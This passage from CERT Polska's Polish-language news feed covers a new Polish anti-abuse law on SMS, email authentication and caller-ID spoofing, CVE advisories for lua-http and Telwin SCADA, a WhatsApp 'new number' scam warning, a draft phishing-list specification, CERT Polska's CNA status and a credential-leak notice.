&lt;p&gt;Integrator usług SMS może skorzystać z nadpisu znajdującego się na wykazie zastrzeżonych nadpisów tylko na zlecenie podmiotu publicznego, do którego należy ten nadpis.&lt;/p&gt;
&lt;p&gt;CSIRT NASK musi uruchomić system udostępniający stworzone wykazy w terminie &lt;strong&gt;3 miesięcy&lt;/strong&gt;, a następnie operatorzy w przeciągu kolejnych &lt;strong&gt;3 miesięcy&lt;/strong&gt; muszą się do niego przyłączyć.&lt;/p&gt;
&lt;h2&gt;&lt;a name="email"&gt;&lt;/a&gt;Walka z fałszywymi e-mailami&lt;/h2&gt;
&lt;p&gt;Fałszywe e-maile są nadal poważnym zagrożeniem, które doprowadza wiele instytucji do strat. Mogą one służyć do dystrybucji phishingu, złośliwego oprogramowania czy oszustwa "na prezesa" czyli sytuacji, w której pracownik otrzymuje od rzekomego przełożonego pilne zadanie, często związane z przelaniem dużej kwoty pieniędzy.
Sam protokół SMTP służący do przesyłania wiadomości pochodzi z 1982 roku i mimo aktualizacji na przestrzeni lat, w swej podstawowej wersji posiada wiele słabości, głównie dlatego, że nie był tworzony z myślą o bezpieczeństwie.&lt;/p&gt;
&lt;p&gt;Ustawa o zwalczaniu nadużyć w komunikacji elektronicznej wymusza na dostawcach poczty dla &lt;strong&gt;co najmniej 500 000 użytkowników&lt;/strong&gt; lub dla &lt;strong&gt;podmiotu publicznego&lt;/strong&gt; korzystanie z mechanizmów:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPF&lt;/strong&gt; (ang. Sender Policy Framework)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC&lt;/strong&gt; (ang. Domain-based Message Authentication, Reporting &amp;amp; Conformance)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM&lt;/strong&gt; (ang. DomainKeys Identified Mail)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Powyższe mechanizmy powstały na przestrzeni lat i działając wspólnie są w stanie zarówno uniemożliwić wykorzystanie naszej domeny w spoofingu e-mail, jak i zmaksymalizować szanse na wykrycie fałszywej wiadomości. Ich funkcjonowanie zostało szczegółowo opisane w &lt;a href="https://cert.pl/posts/2021/10/mechanizmy-weryfikacji-nadawcy-wiadomosci/"&gt;artykule na naszej stronie&lt;/a&gt;. W związku z nowym obowiązkiem korzystania z tych mechanizmów przez podmioty publiczne, stworzyliśmy usługę &lt;a href="https://bezpiecznapoczta.cert.pl/"&gt;Bezpiecznapoczta&lt;/a&gt;, która pomoże określić poprawność i skuteczność implementacji wspomnianych zabezpieczeń. Jeżeli w aktualnej ofercie pocztowej, z której korzysta podmiot publiczny, istnieje możliwość skonfigurowania mechanizmów ochrony poczty lub poczta jest obsługiwana samodzielnie, to podmiot publiczny ma &lt;strong&gt;30 dni&lt;/strong&gt; na wprowadzenie ich w życie.&lt;/p&gt;
&lt;p&gt;Jednak nie wszystkie fałszywe wiadomości e-mail są związane z niedoskonałością mechanizmów pocztowych. Równie groźne, są te wysyłane z przejętych skrzynek pocztowych. Z tego powodu ustawa wprowadza obowiązek umożliwienia podmiotom publicznym korzystania z uwierzytelnienia wieloskładnikowego.&lt;/p&gt;
&lt;h3&gt;Jak powyższe zapisy wpływają na dostawców poczty?&lt;/h3&gt;
&lt;p&gt;Na te pytanie odpowiadają artykuły 40 oraz 41. Dostawca poczty świadczący usługi podmiotom publicznym, który nie ma w ofercie uwierzytelnienia wieloskładnikowego, musi w przeciągu &lt;strong&gt;6 miesięcy&lt;/strong&gt; przedstawić ofertę, która zapewni tę funkcjonalność. W kwestii wdrożenia mechanizmów SPF, DMARC i DKIM dostawca usługi ma &lt;strong&gt;3 miesiące&lt;/strong&gt; na włączenie ich do oferty &lt;strong&gt;aktualnej umowy&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a name="cli"&gt;&lt;/a&gt;Telefon z banku&lt;/h2&gt;
&lt;p&gt;Na przestrzeni ostatnich lat urosło w siłę oszustwo polegające na korzystaniu z techniki &lt;a href="https://en.wikipedia.org/wiki/Caller_ID_spoofing"&gt;CLI spoofing&lt;/a&gt; (ang. Caller ID Spoofing), która polega na modyfikacji pola wyświetlanego numeru połączenia przychodzącego. Przykładowym zastosowaniem tej metody jest oszustwo, w którym dzwoni do nas osoba przedstawiająca się za pracownika banku, a numer "z którego dzwoni" jest łatwym do wyszukania w internecie numerem infolinii banku. W rzeczywistości dzwoni do nas z innego numeru, a wyświetlana wartość to tylko napis, którym się "nam przedstawia", tak samo jak wyświetla się nazwa zapisanego w naszym telefonie kontaktu.&lt;/p&gt;
&lt;p&gt;W przeciwieństwie do zabezpieczania wiadomości e-mail w tym wypadku nie ma w pełni sprawdzonych mechanizmów. Pierwszym aspektem walki z CLI Spoofingiem jest wprowadzenie narzędzia funkcjonującego już m.in. w Wielkiej Brytanii, czyli listy numerów, z których nie można wykonywać połączeń. Zamysł takiej listy polega na zgłaszaniu przez instytucje numerów infolinii, które można wyszukać łatwo w internecie, co sprawia, że historia przedstawiana przez dzwoniącego jest wiarygodna. Takie numery, które pełnią tylko funkcję odbiorczą oraz są łatwe do powiązania z instytucją, powinny być zgłoszone do Prezesa Urzędu Komunikacji Elektronicznej, który stworzy dla nich dedykowaną listę. Operatorzy telekomunikacyjni są zobowiązani do blokowania połączeń wychodzących z numerów będących na tej liście najpóźniej za &lt;strong&gt;6 miesięcy&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Drugim zadaniem nałożonym na operatorów jest obowiązek blokowania lub ukrywania sfałszowanego identyfikatora w przypadku rozpoznania CLI Spoofingu. Ten przepis wchodzi po &lt;strong&gt;12 miesiącach.&lt;/strong&gt;&lt;/p&gt;</content><category term="News"></category><category term="ustawa"></category><category term="2023"></category><category term="nadużycia"></category></entry><entry><title>Podatność w bibliotece lua-http</title><link href="https://cert.pl/posts/2023/09/CVE-2023-4540/" rel="alternate"></link><published>2023-09-05T10:00:00+01:00</published><updated>2023-09-05T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-09-05:/posts/2023/09/CVE-2023-4540/</id><summary type="html">CERT Polska otrzymał zgłoszenie o podatności w bibliotece lua-http i nadał jej numer CVE-2023-4540.</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w bibliotece &lt;a href="https://github.com/daurnimator/lua-http"&gt;lua-http&lt;/a&gt; i uczestniczył w jej koordynacji. Podatność pozwala na wykonanie ataku odmowy usługi (DoS) poprzez wysłanie odpowiednio spreparowanego zapytania do serwera. Podatność została potwierdzona przez producenta i &lt;a href="https://github.com/daurnimator/lua-http/pull/213"&gt;naprawiona&lt;/a&gt;. Podatne są wszystkie wersje z 0.4 włącznie do commitu &lt;a href="https://github.com/daurnimator/lua-http/commit/ddab2835c583d45dec62680ca8d3cbde55e0bae6"&gt;ddab283&lt;/a&gt;. Podatności został nadany numer &lt;a href="https://www.cve.org/CVERecord?id=CVE-2023-4540"&gt;CVE-2023-4540&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arturowi Łąckiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Wakacyjne oszustwo - nowa metoda cyberprzestępców</title><link href="https://cert.pl/posts/2023/08/wakacyjne-oszustwo/" rel="alternate"></link><published>2023-08-04T16:00:00+02:00</published><updated>2023-08-04T16:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-08-04:/posts/2023/08/wakacyjne-oszustwo/</id><summary type="html">Wakacje to czas wyjazdów przede wszystkim dzieci i młodzieży. Poza domem nietrudno o pechowe przygody z telefonem, takie jak zagubienie czy zniszczenie smartfona. Jeśli dziecko znajdzie się w takiej sytuacji, dość prawdopodobne jest, że będzie się kontaktować z rodzicami z innego numeru i na tym właśnie opiera się schemat opisywanego przez nas oszustwa. Bądźcie ostrożni i sprawdźcie zamieszczone przykładowe wiadomości wysyłane masowo przez cyberprzestępców!</summary><content type="html">&lt;p&gt;Wakacje to czas wyjazdów, przede wszystkim dla dzieci i młodzieży. Poza domem
nietrudno o pechowe przygody z telefonem, takie jak zagubienie czy
zniszczenie smartfona. Jeśli dziecko znajdzie się w takiej sytuacji,
dość prawdopodobne jest, że będzie się kontaktować z rodzicami z innego
numeru i na tym właśnie opiera się schemat opisywanego przez nas
oszustwa. Poniżej zamieszczamy przykładowe wiadomości wysyłane masowo
przez cyberprzestępców:&lt;/p&gt;
&lt;div class="grid-x grid-padding-x grid-padding-y"&gt;
  &lt;div class="cell medium-6"&gt;&lt;img class="cell small-12 medium-11 large-9" alt="Wiadomość o treści: mamo, czy możesz wysłać mi wiadomość WhatsApp na mój nowy numer" src="https://cert.pl/uploads/2023/08/wakacyjne-oszustwo/message1.png"&gt;&lt;/div&gt;
  &lt;div class="cell medium-6"&gt;&lt;img class="cell small-12 medium-11 large-9" alt="Wiadomość o treści: Mamo, Napisz do mnie teraz na Whatt sApp. Nowy numer" src="https://cert.pl/uploads/2023/08/wakacyjne-oszustwo/message2.png"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Część z tych wiadomości może trafić do rodziców, których dzieci
przebywają na obozach, koloniach, czy innego rodzaju wyjazdach.
Zaintrygowany lub jedynie spełniający prośbę "dziecka", rodzic może od
razu wysłać wiadomość w komunikatorze pod podany numer. Może też
najpierw spróbować zadzwonić do syna lub córki pod dotychczasowy numer,
aby dowiedzieć się, co się stało. Jeśli dziecko odbierze, to wszystko
się wyjaśni. Jeśli jednak dziecko nie odbierze telefonu, będzie miało
wyłączone urządzenie albo akurat będzie poza zasięgiem, to dla rodzica,
opisana w otrzymanej wiadomości sytuacja stanie się prawdopodobna.&lt;/p&gt;
&lt;p&gt;Zaniepokojony rodzic pisze wówczas wiadomość w komunikatorze na podany
numer. Podczas konwersacji oszust wyjaśnia dlaczego komunikuje się z
innego telefonu. Z kolei wiadomości od rodzica pozwalają mu uzyskać
pewne informacje o dziecku, takie jak imię lub przynajmniej płeć, co
ułatwi mu to dalsze podszywanie się. W końcu "dziecko" prosi o zrobienie
przelewu na wskazany numer rachunku bankowego, aby zapłacić za nowy
telefon.&lt;/p&gt;
&lt;div class="grid-x grid-padding-x grid-padding-y"&gt;
  &lt;div class="cell medium-6"&gt;&lt;img class="cell small-12 medium-11 large-9" alt="Rozmowa z oszustem w komunikatorze WhatsApp" src="https://cert.pl/uploads/2023/08/wakacyjne-oszustwo/image1.png"&gt;&lt;/div&gt;
  &lt;div class="cell medium-6"&gt;&lt;img class="cell small-12 medium-11 large-9" alt="Rozmowa z oszustem w komunikatorze WhatsApp" src="https://cert.pl/uploads/2023/08/wakacyjne-oszustwo/image3.png"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Jeśli oszust dowie się, że rodzic nie ma bankowości elektronicznej, to
poprosi o dane z karty kredytowej i kod SMS autoryzujący operację, aby w
ten sposób uzyskać dostęp do pieniędzy rodzica. Kiedy natomiast okaże
się, że rodzic nie ma takiej kwoty na swoim koncie, to oszust proponuje
zakup tańszego telefonu.&lt;/p&gt;
&lt;div class="grid-x grid-padding-x grid-padding-y"&gt;
  &lt;div class="cell medium-6"&gt;&lt;img class="cell small-12 medium-11 large-9" alt="Rozmowa z oszustem w komunikatorze WhatsApp" src="https://cert.pl/uploads/2023/08/wakacyjne-oszustwo/image4.png"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Jak należy się zachować w sytuacji, gdy otrzymamy podobną wiadomość?
Przede wszystkim trzeba spróbować skontaktować się z dzieckiem w inny
sposób, szczególnie wtedy, gdy pojawia się prośba o przesłanie
pieniędzy.&lt;/p&gt;
&lt;p&gt;Zawsze, gdy otrzymujemy takie nieoczekiwane prośby należy skontaktować
się z nadawcą wiadomości za pomocą innego kanału komunikacji. W
szczególności jeśli wiadomości te pochodzą z nieznanych nam dotąd
numerów, adresów email, kont w mediach społecznościowych lub
komunikatorach.&lt;/p&gt;
&lt;p&gt;Nawet jeśli konto w komunikatorze jest nam znane, to należy mieć na
uwadze fakt, że oszuści za pomocą fałszywych paneli logowania &lt;a href="https://cert.pl/posts/2022/04/facebook-weryfikacja/"&gt;mogą
przejąć dane
uwierzytelniające&lt;/a&gt;
do kont w mediach społecznościowych. Przejęte konta mogą być następnie
wykorzystane do wysyłania do znajomych próśb o przekazanie pieniędzy w
powiązanych komunikatorach.&lt;/p&gt;
&lt;p&gt;Najłatwiej jest taką prośbę zweryfikować po prostu dzwoniąc do
znajomego, dziecka, lub innego członka rodziny, który prosi o przesłanie
pieniędzy. Może się jednak zdarzyć tak, że ta osoba nie będzie mogła
akurat wtedy odebrać albo będzie miała wyłączony telefon.&lt;/p&gt;
&lt;p&gt;Warto wiedzieć, że wiele komunikatorów oferuje także możliwość
wykonywania połączeń głosowych. Bardzo trudno jest podrobić czyjś głos
na żywo, zwłaszcza jeśli nie ma się nagrań/próbek głosu. Można więc
spróbować zweryfikować tożsamość naszego rozmówcy też w taki sposób.
Oszust będzie jednak próbował jakoś wytłumaczyć to, że nie może
rozmawiać.&lt;/p&gt;
&lt;p&gt;Przestępcy mogą wywoływać poczucie presji czasu, aby uniknąć
niewygodnych pytań, ponieważ ich wiedza o osobie, pod którą się
podszywają, jest bardzo ograniczona. Zawsze istnieje przecież "ryzyko",
że początkowe zaskoczenie minie i potencjalna ofiara zorientuje się, że
ma do czynienia z oszustem. Może też się zdarzyć, że osoba pod którą się
podszywają, w końcu albo odpowie na próby kontaktu ze strony rodzica,
albo sama napisze z jakiegoś innego powodu. Nie należy jednak tej presji
czasu ulegać i warto zapytać dziecko o wiek lub imię, jeśli nie
zdradziliśmy go wcześniej. Nawet takie z pozoru proste pytania mogą
okazać się bardzo trudne dla oszusta.&lt;/p&gt;
&lt;p&gt;Pamiętajmy, że gra na emocjach to wciąż bardzo skuteczny środek do
osiągania celów przez cyberprzestępców.&lt;/p&gt;</content><category term="News"></category><category term="aktualne zagrożenia"></category></entry><entry><title>Podatność w module WebInterface oprogramowania Telwin SCADA</title><link href="https://cert.pl/posts/2023/08/CVE-2023-0956/" rel="alternate"></link><published>2023-08-03T20:00:00+01:00</published><updated>2023-08-03T20:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-08-03:/posts/2023/08/CVE-2023-0956/</id><summary type="html">W module WebInteraface oprogramowania Telwin SCADA CERT Polska wykrył podatność typu Path Traversal (CVE-2023-0956).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska w ramach badań własnych znalazł podatność typu Path Traversal w module WebInterface
systemu TelWin SCADA firmy TEL-STER sp. z o. o. podatne są następujące wersje: od 3.2 do 6.1, od 7.0 do 7.1, 8.0, 9.0.&lt;/p&gt;
&lt;p&gt;Wykryta podatność pozwala na odczyt plików systemowych z uprawnieniami webservera przez dowolną osobę z dostępem sieciowym do aplikacji. Oznacza to możliwość pozyskania plików konfiguracyjnych, kodu
źródłowego aplikacji oraz wrażliwych plików systemowych. Do wykorzystania podatności wystarczy wysłanie
do serwera odpowiednio spreparowanego żądania typu GET. Nie jest wymagane uwierzytelnianie do aplikacji.
Podatność została znaleziona przez pracownika CERT Polska i według posiadanych przez nas informacji nie jest
ona jeszcze publicznie znana ani wykorzystywana do ataków. Należy jednak zaznaczyć, że w momencie
publikacji informacji o błędzie mogą pojawić się próby wykorzystania podatności, w szczególności na systemach
dostępnych z internetu.&lt;/p&gt;
&lt;h2&gt;Rekomendacje&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Upewnienie się, że dostęp sieciowy do aplikacji jest ograniczony do niezbędnego minimum. W
szczególności system nigdy nie powinien być wystawiony bezpośrednio do internetu. Jeśli potrzebny
jest dostęp zdalny powinno to być zrealizowane za pomocą VPN-a z dwuskładnikowym
uwierzytelnianiem.&lt;/li&gt;
&lt;li&gt;Aktualizację modułu WebInterface do wersji naprawiającej błąd (6.2, 7.2, 8.1, 9.1, lub 10.0) w najbliższym możliwym terminie. W przypadku używania wersji bez wsparcia dla poprawek zalecamy aktualizację do wersji posiadającej
takie wsparcie. Należy zaznaczyć, że moduł jest aktualizowany zazwyczaj razem z główną wersją oprogramowania TelWin SCADA – najnowsza wersja to 7.14. Dodatkowe informacje można znaleźć &lt;a href="https://www.tel-ster.pl/index.php/telwin-scada/nowosci/372-telwin-scada-podatnosc-cve-2023-0956"&gt;na stronie producenta&lt;/a&gt;. &lt;/li&gt;
&lt;/ol&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Lista Ostrzeżeń przed niebezpiecznymi stronami – szkic nowej wersji specyfikacji</title><link href="https://cert.pl/posts/2023/08/hole-v2-rfc/" rel="alternate"></link><published>2023-08-03T17:00:00+01:00</published><updated>2023-08-03T17:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-08-03:/posts/2023/08/hole-v2-rfc/</id><summary type="html">Nasza Lista Ostrzeżeń obchodziła w tym roku swoje trzecie urodziny. W tym czasie udało nam się ograniczyć skutki wielu różnych kampanii phishingowych celujących w polskich użytkowników Internetu. W odpowiedzi na zmieniający się krajobraz zagrożeń postanowiliśmy wprowadzić parę zmian w działaniu naszej listy, które pozwolą nam lepiej chronić użytkowników. Zapraszamy do zapoznania się z proponowanymi zmianami oraz podzielenia się swoją opinią.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Nasza Lista Ostrzeżeń obchodziła w tym roku swoje trzecie urodziny. W tym czasie udało nam się ograniczyć skutki wielu różnych kampanii phishingowych celujących w polskich użytkowników Internetu. W odpowiedzi na zmieniający się krajobraz zagrożeń postanowiliśmy wprowadzić parę zmian w działaniu naszej listy, które pozwolą nam lepiej chronić użytkowników. Zapraszamy do zapoznania się z proponowanymi zmianami oraz podzielenia się swoją opinią.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Najważniejsze zmiany&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Wszystkie zablokowane przez nas domeny są ważne tylko przez 6 miesięcy. Rozwiąże to problem "pęcznienia" aktualnych list, przy których użytkownik był zmuszany do pobierania coraz to większego pliku w krótkich okresach czasu. Cykl życia większości stron phishingowych trwa tylko parę dni (a w niektórych przypadkach nawet tylko parę godzin), dlatego ograniczenie listy do 6 miesięcy nie będzie miało negatywnego skutku na bezpieczeństwo użytkowników.&lt;/li&gt;
&lt;li&gt;Domena może ponownie pojawić się na liście po uprzednim wykreśleniu. Pozwoli nam to na poprawną reakcję na nawracającą kampanię korzystającą z odblokowanych domen.&lt;/li&gt;
&lt;li&gt;W celu utrzymania transparentności odnośnie zablokowanych domen wprowadzamy nowy strumień z danymi – "actions.log". Będzie on zawierał listę wszystkich domen dodawanych i usuwanych przez nas na Listę Ostrzeżeń.&lt;/li&gt;
&lt;li&gt;Zalecamy blokowanie również wszystkich subdomen zablokowanych domen. Jest to bezpośrednia reakcja na niektóre kampanie phishingowe, które zaczęły korzystać z losowo generowanych subdomen w celu obejścia blokad domen na naszej liście.&lt;/li&gt;
&lt;li&gt;Wprowadzamy nowy format list - strefa DNS w postaci listy RPZ. Pozwoli ona na szybszą integrację naszej Listy Ostrzeżeń w serwerach DNS.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Przykładowe listy w nowej wersji&lt;/h2&gt;
&lt;p&gt;W celu lepszej prezentacji wprowadzanych zmian przygotowaliśmy listy domen w poszczególnych formatach:&lt;/p&gt;
&lt;ul class="cert_li_before"&gt;
    &lt;/p&gt;
    &lt;ul&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains.csv"&gt;domains.csv&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains.json"&gt;domains.json&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains.txt"&gt;domains.txt&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains.xml"&gt;domains.xml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains_adblock.txt"&gt;domains_adblock.txt&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains_hosts.txt"&gt;domains_hosts.txt&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains_mikrotik.rsc"&gt;domains_mikrotik.rsc&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/domains_rpz.db"&gt;domains_rpz.db&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/actions_2020.log"&gt;actions_2020.log&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/actions_2021.log"&gt;actions_2021.log&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/actions_2022.log"&gt;actions_2022.log&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/actions_2023.log"&gt;actions_2023.log&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;p&gt;
&lt;/ul&gt;

&lt;h2&gt;Szkic nowej wersji specyfikacji&lt;/h2&gt;
&lt;p&gt;&lt;a href="/uploads/2023/08/hole-v2-rfc/certpl_lista_ostrzezen_api_v2_rfc.pdf" class="report-download"&gt;
  &lt;img src="/uploads/2023/08/hole-v2-rfc/certpl_lista_ostrzezen_api_v2_rfc.jpg" class="report-img" alt="okładka"&gt;
  &lt;span class="caption"&gt;Pobierz szkic (PDF, 216KB)&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Komentarze&lt;/h2&gt;
&lt;p&gt;Jeśli macie jakiekolwiek pytania odnośnie nowej wersji listy, pomysły na nowe funkcjonalności albo jesteście zainteresowani integracją listy ostrzeżeń w własnej organizacji to zapraszamy do kontaktu na &lt;a href="mailto:info@cert.pl"&gt;info@cert.pl&lt;/a&gt;&lt;/p&gt;
&lt;style&gt;
.article .report-download .caption {
    display: block;
    font-weight: bold;
}

.article .report-img {
    border-style: dashed;
    border-width: 2px;
    border-radius: 10px;
}

&lt;/style&gt;</content><category term="News"></category><category term="phishing"></category><category term="lista"></category></entry><entry><title>CERT Polska będzie współtworzył bazę podatności CVE</title><link href="https://cert.pl/posts/2023/08/cna/" rel="alternate"></link><published>2023-08-01T12:00:00+01:00</published><updated>2023-08-01T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-08-01:/posts/2023/08/cna/</id><summary type="html">Od początku sierpnia CERT Polska jako jedyna instytucja w kraju i jeden z 7 CERT-ów w Europie może nadawać numery CVE, które służą identyfikacji i katalogowaniu publicznie ujawnionych podatności.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Od początku sierpnia CERT Polska jako jedyna instytucja w kraju i jeden z 7 CERT-ów w Europie może nadawać numery CVE, które służą identyfikacji i katalogowaniu publicznie ujawnionych podatności.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Działanie na jednolitej bazie podatności znacząco podnosi skuteczność reagowania po stronie firm i instytucji. Potrzebowaliśmy w Polsce organizacji działającej w programie CVE i od dziś ją mamy – podkreśla Sebastian Kondraszuk, kierownik CERT Polska.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Czym jest CVE?&lt;/h2&gt;
&lt;p&gt;CVE czyli &lt;a href="https://www.cve.org/About/Overview"&gt;Common Vulnerabilities and Exposures&lt;/a&gt; to międzynarodowy program wspierający ujawnianie luk bezpieczeństwa w oprogramowaniu komputerowym. Każda osoba, która znajdzie podatność może zgłosić ją do organizacji będącej CNA, czyli CVE Numbering Authority. Są to organizacje, które oceniają zasadność zgłoszenia, nadają podatnościom numery i dbają o jakość bazy. Od dziś taką właśnie funkcję pełni CERT Polska.&lt;/p&gt;
&lt;p&gt;Baza CVE jest publiczna i dostępna za darmo dla każdego. Obecnie jest ona podstawą dla organizacji z całego świata w identyfikacji i śledzeniu informacji o nowych lukach bezpieczeństwa. Lista CVE zasila również &lt;a href="https://nvd.nist.gov/"&gt;amerykańską Narodową Bazę Danych Podatności (NVD)&lt;/a&gt;, gdzie można przeglądać rekordy CVE w wygodny sposób.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Udział CERT Polska w programie to niezwykle istotny element w planie naszego rozwoju. Jest to także ważny punkt na mapie obowiązków wynikających z Dyrektywy NIS 2 – zaznacza Kondraszuk i dodaje, że status CNA to powód do satysfakcji i potwierdzenie wysokich standardów obsługi tego typu zgłoszeń przez CERT Polska.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Więcej o polityce zgłaszania podatności do CERT Polska i zasadach działania programu CVE można znaleźć na stronie &lt;a href="https://cert.pl/cvd/"&gt;https://cert.pl/cvd/&lt;/a&gt;.&lt;/p&gt;</content><category term="News"></category><category term="cve"></category><category term="cna"></category><category term="podatność"></category></entry><entry><title>Publikacja zbioru wykradzionych danych logowania - co zrobić?</title><link href="https://cert.pl/posts/2023/05/wyciek-stealer-2023/" rel="alternate"></link><published>2023-05-31T16:00:00+01:00</published><updated>2023-05-31T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2023-05-31:/posts/2023/05/wyciek-stealer-2023/</id><summary type="html">W tym tygodniu doszło do publikacji dużego zbioru danych wykorzystywanych do logowania przez polskich użytkowników. W ramach tego wycieku udostępniono ponad milion unikalnych rekordów z loginem oraz hasłem do różnych stron. W związku z tym jednostki odpowiedzialne za cyberbezpieczeństwo w Polsce, w tym CERT Polska, podjęły odpowiednie działania w celu ograniczenia skutków tej sytuacji.</summary><content type="html">&lt;p&gt;W tym tygodniu doszło do publikacji dużego zbioru danych wykorzystywanych do logowania przez polskich użytkowników. W ramach tego wycieku udostępniono ponad milion unikalnych rekordów z loginem oraz hasłem do różnych stron. W związku z tym jednostki odpowiedzialne za cyberbezpieczeństwo w Polsce, w tym CERT Polska, podjeły odpowiednie działania w celu ograniczenia skutków tej sytuacji. &lt;/p&gt;
&lt;h2&gt;Jak przestępcy uzyskali dostęp do danych logowania&lt;/h2&gt;
&lt;p&gt;W trakcie analizy zbioru danych, zespół CERT Polska wykazał, że dane znajdujące się w wycieku są złączeniem wielu mniejszych zbiorów pozyskanych przez złośliwe oprogramowanie typu &lt;a href="https://cert.pl/posts/2023/02/information-stealer/"&gt;"information stealer"&lt;/a&gt;.&lt;br&gt;
W związku z tym, przestępcy mogli mieć dostęp zarówno do haseł wpisywanych na klawiaturze i mieli dostęp do danych logowania zapisanych w przeglądarkach czy menedżerach haseł.  &lt;/p&gt;
&lt;h2&gt;Jakie kroki podjął nasz zespół&lt;/h2&gt;
&lt;p&gt;Oprócz analizy danych znajdujących się w wycieku, nasz zespół podjął się również działań, które miały na celu powiadomienie jak największego grona odbiorców. Udostępniliśmy informacje na temat upublicznionych kont użytkownikom systemu &lt;a href="https://n6.cert.pl"&gt;n6&lt;/a&gt; oraz powiadomiliśmy mailowo wiele instytucji, w szczególności administratorów rozpoznawalnych skrzynek pocztowych. Na moment pisania artykułu przesłaliśmy powiadomienia dotyczące ponad miliona unikalnych maili oraz loginów.
Dodatkowo udostępniliśmy upublicznione dane portalom &lt;a href="https://haveibeenpwned.com"&gt;HIBP&lt;/a&gt; oraz &lt;a href="https://bezpiecznedane.gov.pl"&gt;Bezpieczne Dane&lt;/a&gt;, które umożliwiają każdemu weryfikację czy dane konto lub email pojawił się w wycieku. &lt;/p&gt;
&lt;h2&gt;Jak możecie sprawdzić czy Wasze konto znalazło się w wycieku&lt;/h2&gt;
&lt;p&gt;W związku z dużą skalą wycieku, zachęcamy Was do sprawdzenia, czy Wasze dane znajdują się w upublicznionym zbiorze. Nasz zespół zasilił dwa serwisy internetowe w dane z wycieku, dzięki czemu możecie zweryfikować czy padliście ofiarą tego zdarzenia.  &lt;/p&gt;
&lt;p&gt;Możecie to zrobić na stronach:  &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bezpiecznedane.gov.pl"&gt;https://bezpiecznedane.gov.pl&lt;/a&gt; - serwis stworzony przez &lt;a href="https://www.coi.gov.pl/"&gt;COI&lt;/a&gt;, który po zalogowaniu poprzez Profil Zaufany umożliwia zweryfikowanie czy dane konto lub email znalazło się w wycieku. Na obecną chwilę w tym serwisie dostępne są dane wyłącznie ze wspomnianego wcześniej incydentu.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://haveibeenpwned.com"&gt;https://haveibeenpwned.com&lt;/a&gt; - popularny serwis stworzony przez &lt;a href="https://twitter.com/troyhunt"&gt;Troya Hunta&lt;/a&gt;, który od lat umożliwia zweryfikowanie czy Wasze konto padło ofiarą większych wycieków. Co więcej, strona ta pozwala zweryfikować informacje na temat wycieków odnośnie całej nazwy domeny, co może być użyteczne dla wielu firm, chcących sprawdzić skalę wycieku w swojej organizacji,&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Co możecie zrobić, jeżeli Wasze dane są w wycieku (lub chcecie poprawić bezpieczeństwo swojego konta)&lt;/h2&gt;
&lt;p&gt;Zachęcamy do podjęcia następujących kroków:  &lt;/p&gt;
&lt;ol&gt;
